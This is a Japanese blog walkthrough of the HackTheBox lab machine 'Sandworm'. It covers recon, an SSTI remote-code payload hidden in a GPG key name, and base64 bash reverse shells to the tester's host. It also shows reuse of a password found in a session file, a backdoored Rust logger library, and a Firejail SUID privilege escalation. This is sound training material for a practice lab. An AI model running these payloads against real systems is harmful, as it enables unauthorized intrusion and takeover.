LoginSignup
1
2

今回はHackTheBoxのMediumマシン「Sandworm」のWriteUpです!
名前からして、明らかにサウンドボックス関連の技術が登場してきそうですが、どのようなマシンなのでしょうか!

image.png
グラフはかなり難しそうですね。。。
攻略目指して頑張ります!

HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Sandworm

侵入

それでは侵入を開始しましょう。
まずはポートスキャンを実行します。

┌──(kali㉿kali)-[~/Desktop/Sandworm]
└─$ sudo nmap -Pn -n -v --reason -sS -p- -sC --min-rate=1000 -A 10.10.11.218 -oN nmap.log

PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp  open  http     syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://ssa.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)

22番と80番、443番を確認しました。
それでは、Webにアクセスしてみましょう。

image.png
サイトが表示されましたが、とくに気になる遷移は見つかりません。
とりあえず、ディレクトリ探索を行います。

$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u https://ssa.htb/FUZZ | tee ffuf_dev.log 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/ '    

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://ssa.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 5584, Words: 1147, Lines: 77, Duration: 223ms]
    * FUZZ: about

[Status: 302, Size: 227, Words: 18, Lines: 6, Duration: 190ms]
    * FUZZ: admin

[Status: 200, Size: 3543, Words: 772, Lines: 69, Duration: 235ms]
    * FUZZ: contact

[Status: 200, Size: 9043, Words: 1771, Lines: 155, Duration: 263ms]
    * FUZZ: guide

[Status: 200, Size: 4392, Words: 1374, Lines: 83, Duration: 224ms]
    * FUZZ: login

[Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 249ms]
    * FUZZ: logout

[Status: 200, Size: 3187, Words: 9, Lines: 54, Duration: 230ms]
    * FUZZ: pgp

[Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 200ms]
    * FUZZ: process

[Status: 302, Size: 225, Words: 18, Lines: 6, Duration: 217ms]
    * FUZZ: view

:: Progress: [20476/20476] :: Job [1/1] :: 193 req/sec :: Duration: [0:02:10] :: Errors: 0 ::

いくつかディレクトリが表示されましたが、adminが一番気になります。
アクセスしてみると、ログイン画面が表示されました。

image.png
いくつかのSQLインジェクション文字列と簡単な認証情報を試しましたが、ログインすることはできなかったので、他のディレクトリを見てみます。
guideへアクセスしてみると、文字列を暗号化/復号できるようなページが表示されました。

image.png
サイトの中央あたりを確認すると、公開鍵と著名付きテキストを入力する欄があります。
どうやら、GPGキーが必要みたいなので、作成していきます。

$ gpg --gen-key                                  
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: shoo
Name must be at least 5 characters long
Real name: shooq
Email address: pentest@test.com
You selected this USER-ID:
    "shooq <pentest@test.com>"

これを使用し、署名付きのテキストを作成していきます。
次に、暗号化用の公開鍵を作成する必要があるので、作成していきます。

$ gpg --armor --export pentest@test.com > mykey.asc

公開鍵が作成できたので、暗号化するテキストを入力したファイルを用意しましょう。

$ echo 'test' > message.txt

ここまでで準備は完了です。実際に署名していきましょう。

$ gpg --clear-sign --output mykey_sign.asc message.txt

これによりmykey_sign.ascに、署名付きテキストが作成されました。では、実際にWebに入力し、検証していきましょう。Public Keymykey.ascで、Signed Textmykey_sign.ascです。

image.png
出力を見てみると、GPGキーの作成時に入力したReal nameが出力されています。ユーザが制御できる出力を発見したので、ファジングが行えます。
GPGキーを作り直し、脆弱性を見つけるため、作成したキーを削除しましょう。

$ gpg --delete-secret-keys pentest@test.com
$ gpg --delete-keys pentest@test.com

削除が完了したので、脆弱性の調査を開始しました。

SSTI

色々試した結果、SSTIの脆弱性を発見しました。SSTIを発火させるペイロードはExploit Notesにも書かれているように複数ありますが、私が今回使用するのは、RCEの2つ目に書かれているものです。

それでは、ペイロードを使用して、GPGキーを作成していきましょう。

$ gpg --gen-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
Email address: pentest@test.com
You selected this USER-ID:
    "{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }} <pentest@test.com>"

GPGキーを作成できたので、先ほどと同じ手順で署名付きのテキストを作成し、検証を行います。

image.png

idコマンドの実行を確認できました!
SSTIが発火することを確認したので、悪用することでシェルを取得できそうです。
リバースシェルを取得するためのペイロードもExploit Notesにまとめられています。今回はBase64エンコードしたものを使用します。
GPGキーを削除し、作り直します。

$ echo bash -c 'bash -i >& /dev/tcp/10.10.14.5/2121 0>&1' | base64 
YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvMjEyMSAwPiYxCg==

$ gpg --gen-key                     
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvMjEyMSAwPiYxCg==" | base64 -d | bash').read() }}
Email address: pentest@test.com
You selected this USER-ID:
    "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvMjEyMSAwPiYxCg==" | base64 -d | bash').read() }} <pentest@test.com>"

ペイロードを入力出来たら、同じ手順で公開鍵と署名付きテキストを作成しましょう。

atlasとしてのシェル(サウンドボックス)

それでは、シェルを取得しましょう。
公開鍵と署名付きのテキストを入力し、検証をします。

image.png
シェルを確認してみましょう。

$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.218] 58934
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)

初期侵入に成功しました!!

横移動

atlasユーザではフラグを取得することができませんでした。
調査したところ、Firejailのファイルがあることから、どうやらサウンドボックス内にいるようです。やはりマシン名が関係していましたね。なので、横移動を狙います。まずは、どのようなユーザが存在するか見てみましょう。

atlas@sandworm:/home$ ls -la
total 12
drwxr-xr-x  4 nobody nogroup 4096 May  4 15:19 .
drwxr-xr-x 19 nobody nogroup 4096 Jun  7 13:53 ..
drwxr-xr-x  8 atlas  atlas   4096 Jun 23 10:38 atlas
dr--------  2 nobody nogroup   40 Jun 23 02:07 silentobserver

silentobserverユーザを発見しました!
silentobserverのディレクトリには権限がないので、atlasのホームディレクトリ内を探索してみます。

atlas@sandworm:~$ ls -la
total 56
drwxr-xr-x 8 atlas  atlas   4096 Jun 23 10:38 .
drwxr-xr-x 4 nobody nogroup 4096 May  4 15:19 ..
lrwxrwxrwx 1 nobody nogroup    9 Nov 22  2022 .bash_history -> /dev/null
-rw-r--r-- 1 atlas  atlas    220 Nov 22  2022 .bash_logout
-rw-r--r-- 1 atlas  atlas   3771 Nov 22  2022 .bashrc
drwxrwxr-x 2 atlas  atlas   4096 Jun  6 08:49 .cache
drwxrwxr-x 3 atlas  atlas   4096 Feb  7 10:30 .cargo
drwxrwxr-x 4 atlas  atlas   4096 Jan 15 07:48 .config
-rwxrwxrwx 1 atlas  atlas   7955 Jun 23 12:35 exploit.py
drwx------ 4 atlas  atlas   4096 Jun 23 11:31 .gnupg
drwxrwxr-x 6 atlas  atlas   4096 Feb  6 10:33 .local
-rw-r--r-- 1 atlas  atlas    807 Nov 22  2022 .profile
drwx------ 2 atlas  atlas   4096 Feb  6 10:34 .ssh
-rw------- 1 atlas  atlas    711 Jun 23 10:38 .viminfo

exploit.pyというスクリプトがあります。どのようなスクリプトなのか簡単にみてみます。

atlas@sandworm:~$ cat exploit.py
cat exploit.py 
#!/usr/bin/python3

import os
import shutil
import stat
import subprocess
・・・

print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain \
a shell where 'sudo su -' should grant you a root shell.")

while True:
    line = sys.stdin.readline()
    if not line:
        break

スクリプトの最後に、firejailとsuを実行することで権限昇格ができるといったコメントを出力しようとしていることがわかります。
では、試しに実行してみましょう。

atlas@sandworm:~$ python3 exploit.py
Traceback (most recent call last):
  File "/home/atlas/exploit.py", line 136, in <module>
    helper_proc, join_file = createHelperSandbox()
  File "/home/atlas/exploit.py", line 58, in createHelperSandbox
    proc = subprocess.Popen(
  File "/usr/lib/python3.10/subprocess.py", line 969, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/lib/python3.10/subprocess.py", line 1845, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'firejail'

エラーが出力されました。firejailが見つからないようです。今のままではexploit.pyを実行することはできないようです。

では、他に怪しい点をみてみます。
ホームディレクトリ内で気になるのは、「.config」です。

atlas@sandworm:~/.config$ ls -l
total 4
dr-------- 2 nobody nogroup   40 Jun 23 02:07 firejail
drwxrwxr-x 3 nobody atlas   4096 Jan 15 07:48 httpie

firejailとhttpieを発見しました。firejailには権限がないので、httpieを見てみましょう。

atlas@sandworm:~/.config/httpie$ ls -l
total 4
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 sessions

sessionsの中もみてみます。

atlas@sandworm:~/.config/httpie/sessions$ ls -l
total 4
drwxrwx--- 2 nobody atlas 4096 May  4 17:30 localhost_5000

localhost_5000にもアクセスします。

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ ls -l
ls -l
total 4
-rw-r--r-- 1 nobody atlas 611 May  4 17:26 admin.json

かなり深くディレクトリを探索し、やっとadmin.jsonを発見しました。内容を見てみましょう。

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
cat admin.json
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}

silentobserverのパスワードを発見しました!

silentobserverとしてのシェル

それでは、先ほどの認証情報が、SSH接続で使用できるか試してみましょう。

$ ssh silentobserver@10.10.11.218
silentobserver@10.10.11.218s password:

silentobserver@sandworm:~$ whoami
silentobserver

横移動に成功しました!

silentobserver@sandworm:~$ ls -l
total 4
-rw-r----- 1 root silentobserver 33 Jun 23 02:07 user.txt

ユーザフラグも獲得できました!
サウンドボックスから抜け出すことに成功しました。

横移動

それでは、このままルートのシェルを目指します。(結果的に、まだルートのシェルは取得できません。)
まずは、お馴染みのsudoを実行してみます。

silentobserver@sandworm:~$ sudo -l
[sudo] password for silentobserver: 
Sorry, user silentobserver may not run sudo on localhost.

silentobserverはsudoを実行できないようです。
本格的に権限昇格を調査していきましょう。まずは、pspyを実行してみます。

2023/11/19 09:56:01 CMD: UID=0     PID=2543   | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/11/19 09:56:01 CMD: UID=0     PID=2542   | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 

/opt/tipnet上でrootがatlasとしてコマンドを実行させていることが分かりました。
実際に、/opt/tipnetを見てみましょう。

silentobserver@sandworm:/opt/tipnet$ ls -la
total 108
drwxr-xr-x 5 root  atlas  4096 Jun  6 11:49 .
drwxr-xr-x 4 root  root   4096 Nov 19 09:54 ..
-rw-rw-r-- 1 atlas atlas 25383 Nov 19 09:54 access.log
-rw-r--r-- 1 root  atlas 46161 May  4  2023 Cargo.lock
-rw-r--r-- 1 root  atlas   288 May  4  2023 Cargo.toml
drwxr-xr-- 6 root  atlas  4096 Jun  6 11:49 .git
-rwxr-xr-- 1 root  atlas     8 Feb  8  2023 .gitignore
drwxr-xr-x 2 root  atlas  4096 Jun  6 11:49 src
drwxr-xr-x 3 root  atlas  4096 Jun  6 11:49 target

いくつかのファイルとディレクトリがあります。さらに中を見てみましょう。
tipnet.dを発見しました。

silentobserver@sandworm:/opt/tipnet/target/debug$ cat tipnet.d
/opt/tipnet/target/debug/tipnet: /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs

どうやら、/opt/crates/logger/src/lib.rs/opt/tipnet/src/main.rsという2つのrustファイルが使用されているようです。それぞれ確認していきましょう。

silentobserver@sandworm:/opt/tipnet/src$ cat main.rs 
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;

// We dont spy on you... much.

struct Entry {
    timestamp: String,
    target: String,
    source: String,
    data: String,

main.rsには、ログの機能やSQLへの接続を行うコードが書かれていました。mysqlへの認証情報のようなものも見つかりましたが、今回は有効ではありません。

次にlib.rsの内容を確認しようとしましたが、権限を確認したところ、lib.rsには書き込み権限があることが分かりました。

silentobserver@sandworm:/opt/crates/logger/src$ ls -la
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May  4  2023 .
drwxr-xr-x 5 atlas silentobserver 4096 May  4  2023 ..
-rw-rw-r-- 1 atlas silentobserver  732 May  4  2023 lib.rs

書き込み権限があるということは、lib.rsの内容をシェルを返すコマンドに変更することでリバースシェルを取得できます。
それでは、実際に変更していきましょう。lib.rsは定期的に削除されるので、素早く変更する必要があります。
下記は変更後のコードです。

extern crate chrono;

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;

pub fn log(user: &str, query: &str, justification: &str) {
    let command = "bash -i >& /dev/tcp/10.10.14.5/2122 0>&1";
    let output = Command::new("bash")
        .arg("-c")
        .arg(command)
        .output()
        .expect("not work");

    if output.status.success() {
        let stdout = String::from_utf8_lossy(&output.stdout);
        let stderr = String::from_utf8_lossy(&output.stderr);
        println!("standar output: {}", stdout);
        println!("error output: {}", stderr);
    } else {
        let stderr = String::from_utf8_lossy(&output.stderr);
        eprintln!("Error: {}", stderr);
    }

    let now = Local::now();
    let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
    let log_message = format!("[{}] - User: {}, Query: {}, Justification", timestamp, user, query);

    let mut file = match OpenOptions::new().append(true).create(true).open("log.txt") {
        Ok(file) => file,
        Err(e) => {
            println!("Error opening log file: {}", e);
            return;
        }
    };

    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("Error writing to log file: {}", e);
    }
}

ファイルが変更出来たら、実行されるまで少し待ちましょう。

atlasとしてのシェル(マシン側)

コーヒーを飲んで少し落ち着いたら、シェルを確認してみましょう!

$ nc -lvnp 2122
listening on [any] 2122 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.218] 56242
bash: cannot set terminal process group (6586): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ whoami
whoami
atlas

サウンドボックスではないシェルを取得することが出来ました!

権限昇格

やっと、権限昇格のフェーズにたどり着きました!あと少し頑張りましょう!
一応sudoが使えるか見てみます。

atlas@sandworm:~$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required

使えませんね。
では、次にSUIDビットを見てみます。

$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
<er root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-x--- 1 root jailer 1777952 Nov 29  2022 /usr/local/bin/firejail
-rwsr-xr-- 1 root messagebus 35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 338536 Nov 23  2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 18736 Feb 26  2022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 47480 Feb 21  2022 /usr/bin/mount
-rwsr-xr-x 1 root root 232416 Apr  3  2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 72072 Nov 24  2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 35192 Feb 21  2022 /usr/bin/umount
-rwsr-xr-x 1 root root 59976 Nov 24  2022 /usr/bin/passwd
-rwsr-xr-x 1 root root 44808 Nov 24  2022 /usr/bin/chsh
-rwsr-xr-x 1 root root 72712 Nov 24  2022 /usr/bin/chfn
-rwsr-xr-x 1 root root 40496 Nov 24  2022 /usr/bin/newgrp
-rwsr-xr-x 1 root root 55672 Feb 21  2022 /usr/bin/su
-rwsr-xr-x 1 root root 35200 Mar 23  2022 /usr/bin/fusermount3

firejailにSUIDが付与されていることが分かります。少し不思議に思ったので、調べてみるとExploit Notesに権限昇格の方法が紹介されていました!

紹介されている通りに実行することで、権限昇格できそうです!

rootとしてのシェル

それでは実行してみましょう!
まずは、コマンドを実行できるようにするため、Ctl + Zでバックグラウンドに移行させます。

atlas@sandworm:~$ python3 exploit.py
You can now run 'firejail --join=22186' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
sudo su -
^Z
[1]+  Stopped                 python3 exploit.py

移行させることができたら、firejailを実行します。

atlas@sandworm:~$ firejail --join=22186
changing root to /proc/22186/root
Warning: cleaning all supplementary groups
Child process initialized in 12.64 ms

それでは、ルートになることができるかやってみましょう!

atlas@sandworm:~$ sudo su -
atlas is not in the sudoers file.  This incident will be reported.

sudoは使えないようです。。使えないなら、rootを直接指定しましょう。

atlas@sandworm:~$ su root
root@sandworm:/home/atlas# whoami
root

権限昇格成功です!

root@sandworm:~# ls -l /root
total 20
drwxr-xr-x 4 root root 4096 May  5 08:59 Cleanup
-rw-r--r-- 1 root root 1326 May  4 18:03 domain.crt
-rw-r--r-- 1 root root 1094 May  4 18:02 domain.csr
-rw------- 1 root root 1704 May  4 18:01 domain.key
-rw-r----- 1 root root   33 Jun 23 02:07 root.txt

フラグも取得できました!完全攻略達成です〜!

攻略を終えて

今回のマシンはなかなか難しかったです。。特に最後のもう一度atlasユーザに戻る部分はサウンドボックスにもう一度入ってしまうのではないかと思い込んでしまい、中々試しませんでした。。冷静に考えると、マシン側で実行しているものなので、サウンドボックスに入るわけなかったです。。
初期シェルのGPGキー関連に関しては、普段あまり経験が無いGPGキーの生成でしたが、脆弱性自体の発火がわかりやすいこともあり特に苦戦はしませんでした。。
まさにMediumマシンといった難易度だったと思います。
やはり、認証情報をハードコードしておくことは危険しか呼ばないので気を付ける必要がありますね!
今後もHackTheBox関連の記事を挙げていくので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!

1
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
2